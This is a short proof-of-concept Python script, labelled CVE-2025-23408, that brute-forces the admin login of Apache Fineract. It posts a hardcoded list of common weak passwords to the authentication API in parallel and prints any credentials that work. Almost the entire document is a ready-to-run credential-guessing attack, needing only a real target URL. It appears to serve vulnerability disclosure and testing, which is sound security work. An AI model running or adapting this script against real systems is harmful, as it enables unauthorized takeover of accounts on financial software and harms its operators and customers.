CVE-2025-23408

# CVE-2025-23408 PoC - Apache Fineract Weak Password Requirements # This PoC demonstrates brute-force attack on Apache Fineract authentication import requests import sys from concurrent.futures import ThreadPoolExecutor TARGET_URL = "http://target-server:8443/api/v1/authentication" TARGET_USER = "admin" # Common weak passwords list WEAK_PASSWORDS = [ "123456", "password", "12345678", "qwerty", "123456789", "12345", "1234", "111111", "1234567", "dragon", "123123", "baseball", "iloveyou", "trustno1", "sunshine", "princess", "admin", "welcome", "shadow", "ashley", "football", "jesus", "michael", "ninja", "mustang" ] def try_login(password): """Attempt login with given password""" try: payload = { "username": TARGET_USER, "password": password } response = requests.post(TARGET_URL, json=payload, timeout=10) if response.status_code == 200: data = response.json() if data.get("authenticated") == True: print(f"[!] VALID CREDENTIALS FOUND: {TARGET_USER}:{password}") return True return False except Exception as e: return False def main(): print(f"[*] Starting brute-force attack on {TARGET_URL}") print(f"[*] Target user: {TARGET_USER}") print(f"[*] Testing {len(WEAK_PASSWORDS)} weak passwords...\n") with ThreadPoolExecutor(max_workers=10) as executor: results = executor.map(try_login, WEAK_PASSWORDS) if any(results): print("\n[!] Attack successful - weak password found!") sys.exit(0) print("\n[*] No weak passwords found in the tested list") if __name__ == "__main__": main()

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